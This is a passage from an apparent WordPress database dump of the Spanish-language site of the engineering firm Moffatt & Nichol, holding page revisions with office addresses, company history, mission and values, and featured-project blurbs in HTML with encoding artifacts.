title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/oakland.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"13\">OAKLAND</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1300 Clay Street, Suite 550\r\n\r\nOakland, CA 94612\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/orlando.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"14\">ORLANDO</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1025 Greenwood Blvd., Suite 371\r\n\r\nLake Mary, FL 32806\r\n\r\n<strong>teléfono</strong>\r\n\r\n407-562-2030\r\n\r\n<strong>fax</strong>\r\n\r\n407-562-2031\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/panama.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"15\">PANAMÃ</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nOcean Business Plaza, Oficina 1204,\r\n\r\nAv. Aquilino de la Guardia y Calle 47\r\n\r\nPanamÃ¡, RepÃºblica de PanamÃ¡\r\n\r\n<strong>teléfono</strong>\r\n\r\n+ 507-301-0901\r\n\r\n<strong>fax</strong>\r\n\r\n+ 507-301-0906\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/religh.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"16\">RALEIGH</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1616 East Millbrook Road, Suite 160\r\n\r\nRaleigh, NC 27609\r\n\r\n<strong>teléfono</strong>\r\n\r\n919-781-4626\r\n\r\n<strong>fax</strong>\r\n\r\n919-781-4869\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/richmond.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"17\">RICHMOND</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1100 Boulders Parkway, Suite 350\r\n\r\nRichmond, VA 23225\r\n\r\n<strong>teléfono</strong>\r\n\r\n804-320-1996\r\n\r\n<strong>fax</strong>\r\n\r\n804-560-0959\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/rochester.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"18\">ROCHESTER</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n250 Mill Street, Suite 307\r\n\r\nRochester, NY 14614\r\n\r\n<strong>teléfono</strong>\r\n\r\n585-641-7128\r\n\r\n<strong>fax</strong>\r\n\r\n585-777-4108\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Brazil.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"5\">RÃO DE JANEIRO</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nRua Farme de Amoedo, 56 / 8Â° andar\r\n\r\nIpanema â€“ RÃo de Janeiro / RJ\r\n\r\nCEP 22420-020\r\n\r\n<strong>teléfono</strong>\r\n\r\n+55 21 2103-4630\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sacramento.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"19\">SACRAMENTO</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n5955 Granite Lake Drive, Suite 140\r\n\r\nGranite Bay, CA 95746\r\n\r\n<strong>teléfono</strong>\r\n\r\n510-645-1238\r\n\r\n<strong>fax</strong>\r\n\r\n510-645-1010\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/san-diago.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"20\">SAN DIEGO</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nM&amp;N BLAYLOCK\r\n\r\n1660 Hotel Circle North, Suite 500\r\n\r\nSan Diego, CA 92108\r\n\r\n<strong>teléfono</strong>\r\n\r\n619-220-6050\r\n\r\n<strong>fax</strong>\r\n\r\n619-220-6055\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/sevanha.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"21\">SAVANNAH</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n2 East Bryan Street, Suite 50\r\n\r\nSavannah, GA 31401\r\n\r\n<strong>teléfono</strong>\r\n\r\n912-231-0044\r\n\r\n<strong>fax</strong>\r\n\r\n912-231-0046\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/seattle.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"22\">SEATTLE</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n600 University Street, Suite 610\r\n\r\nSeattle, WA 98101\r\n\r\n<strong>teléfono</strong>\r\n\r\n206-622-0222\r\n\r\n<strong>fax</strong>\r\n\r\n206-622-4764\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/tampa.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"23\">TAMPA</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1509 W. Swann Avenue, Suite 225\r\n\r\nTampa, FL 33606\r\n\r\n<strong>teléfono</strong>\r\n\r\n813-258-8818\r\n\r\n<strong>fax</strong>\r\n\r\n813-258-8525\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Guam.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"6\">Tamuning</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\nITC Building Suite 801\r\n\r\n590 S. Marine Corps Drive\r\n\r\nTamuning, Guam 96913\r\n\r\n<strong>teléfono</strong>\r\n\r\n671-648-1000\r\n\r\n<strong>fax</strong>\r\n\r\n671-648-1001\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vancouver.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"24\">VANCOUVER</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n777 W. Broadway, Suite 301\r\n\r\nVancouver BC, CanadÃ¡ V5Z 4J7\r\n\r\n<strong>teléfono</strong>\r\n\r\n604-707-9004\r\n\r\n<strong>fax</strong>\r\n\r\n604-707-9005\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/vicksburg.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"25\">VICKSBURG</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n1905A Mission 66, Suite 6\r\n\r\nVicksburg, MS 39180\r\n\r\n<strong>teléfono</strong>\r\n\r\n601-629-6415\r\n\r\n<strong>fax</strong>\r\n\r\n601-629-6416\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/walnut-creek.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"26\">WALNUT CREEK</h2>\r\n<strong>direcciÃ³n</strong>\r\n\r\n2185 N. California Blvd, Suite 500\r\n\r\nWalnut Creek, CA 94596-3500\r\n\r\n<strong>teléfono</strong>\r\n\r\n925-944-5411\r\n\r\n<strong>fax</strong>\r\n\r\n925-944-4732\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Nuestras oficinas','','inherit','open','open','','14-revision-2','','','2012-06-13 08:59:47','2012-06-13 08:59:47','',14,'http://moffattnichol.com/spanish/14-revision-2/',0,'revision','',0),(2416,1,'2012-06-13 08:56:22','2012-06-13 08:56:22','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habÃan establecido una reputaciÃ³n como ingenieros creativos que entregaban diseÃ±os factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingenierÃa de frentes costeros, consolidando una firma que irÃa mucho mÃ¡s allÃ¡ de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de NorteamÃ©rica, Europa, AmÃ©rica Latina y la Cuenca del PacÃfico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancÃas a nivel mundial. Hoy en dÃa, con una cartera de mÃ¡s de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis Ã¡reas principales: puertos; recursos costeros, medioambientales e hÃdricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspecciÃ³n y rehabilitaciÃ³n; y energÃa. Estas Ã¡reas de especializaciÃ³n son complementadas por un grupo asesor comercial interno con analistas marÃtimos y de logÃstica que se especializan en la adquisiciÃ³n y fusiÃ³n de activos de infraestructura marÃtima, sistemas de transporte intermodal y pronÃ³sticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y tÃ©cnico de calidad mundial ofrece a los clientes una visiÃ³n integral del proyecto, con prÃ¡cticas esenciales que reflejan la correlaciÃ³n Ãºnica entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseÃ±o y hasta la terminaciÃ³n del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misiÃ³n</h3> Ofrecemos soluciones que son innovadoras, prÃ¡cticas, rentables y eficientes, pero nos distinguimos de la competencia con dÃ©cadas de imaginaciÃ³n y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visiÃ³n</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacciÃ³n del cliente nuestra prioridad, y el servicio que proporcionamos en seis Ã¡reas principales de la prÃ¡ctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnologÃa. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputaciÃ³n, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradiciÃ³n de conducta Ã©tica como la base de nuestro negocio.</li>\r\n	<li>JamÃ¡s hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir mÃ¡s de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfecciÃ³n.</li>\r\n	<li>Asegurar nuestro futuro mediante la superaciÃ³n constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-3','','','2012-06-13 08:56:22','2012-06-13 08:56:22','',295,'http://moffattnichol.com/spanish/295-revision-3/',0,'revision','',0),(2417,1,'2012-06-13 09:06:08','2012-06-13 09:06:08','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habÃan establecido una reputaciÃ³n como ingenieros creativos que entregaban diseÃ±os factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingenierÃa de frentes costeros, consolidando una firma que irÃa mucho mÃ¡s allÃ¡ de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de NorteamÃ©rica, Europa, AmÃ©rica Latina y la Cuenca del PacÃfico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancÃas a nivel mundial. Hoy en dÃa, con una cartera de mÃ¡s de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis Ã¡reas principales: puertos; recursos costeros, medioambientales e hÃdricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspecciÃ³n y rehabilitaciÃ³n; y energÃa. Estas Ã¡reas de especializaciÃ³n son complementadas por un grupo asesor comercial interno con analistas marÃtimos y de logÃstica que se especializan en la adquisiciÃ³n y fusiÃ³n de activos de infraestructura marÃtima, sistemas de transporte intermodal y pronÃ³sticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y tÃ©cnico de calidad mundial ofrece a los clientes una visiÃ³n integral del proyecto, con prÃ¡cticas esenciales que reflejan la correlaciÃ³n Ãºnica entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminaciÃ³n del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misiÃ³n</h3> Ofrecemos soluciones que son innovadoras, prÃ¡cticas, rentables y eficientes, pero nos distinguimos de la competencia con dÃ©cadas de imaginaciÃ³n y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visiÃ³n</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacciÃ³n del cliente nuestra prioridad, y el servicio que proporcionamos en seis Ã¡reas principales de la prÃ¡ctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnologÃa. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputaciÃ³n, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradiciÃ³n de conducta Ã©tica como la base de nuestro negocio.</li>\r\n	<li>JamÃ¡s hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir mÃ¡s de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfecciÃ³n.</li>\r\n	<li>Asegurar nuestro futuro mediante la superaciÃ³n constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-4','','','2012-06-13 09:06:08','2012-06-13 09:06:08','',295,'http://moffattnichol.com/spanish/295-revision-4/',0,'revision','',0),(2418,1,'2012-05-29 08:29:17','2012-05-29 08:29:17','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseÃ±o de las instalaciones que dan forma a nuestras lÃneas costeras, puertos y rÃos, asÃ como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"MÃ¡s acerca de Moffatt &amp; Nichol\" href=\"about-us\">MÃ¡s acerca de Moffatt &amp; Nichol</a> | <a title=\"UbicaciÃ³n de las oficinas\" href=\"our-offices\">UbicaciÃ³n de las oficinas</a> | <a title=\"InformaciÃ³n de contacto\" href=\"contact-us\">InformaciÃ³n de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marÃtimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hÃdricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">EnergÃa</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">InspecciÃ³n y rehabilitaciÃ³n</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, puertos, terminales marítimas y\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparaciÃ³n de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol liderÃ³ una empresa conjunta con MN3M que proporcionÃ³ el planeamiento, el anÃ¡lisis, la representaciÃ³n grÃ¡fica, los documentos de contratos de diseÃ±o-licitaciÃ³n-construcciÃ³n, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"De los recursos costeros, ambientales y del agua\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinÃ³ el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrollÃ³ <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, ferrocarril y el puente\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Centro de transferencia de contenedores intermodal Chatham Yard</strong></div>\r\n                <div class=\"project_right\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt &amp; Nichol completÃ³ el planeamiento, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de agua urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">DiseÃ±o de la ribera de South Lake Union Park</strong></div>\r\n                <div class=\"project_right\">Como parte de un equipo multidisciplinario, Moffatt &amp; Nichol 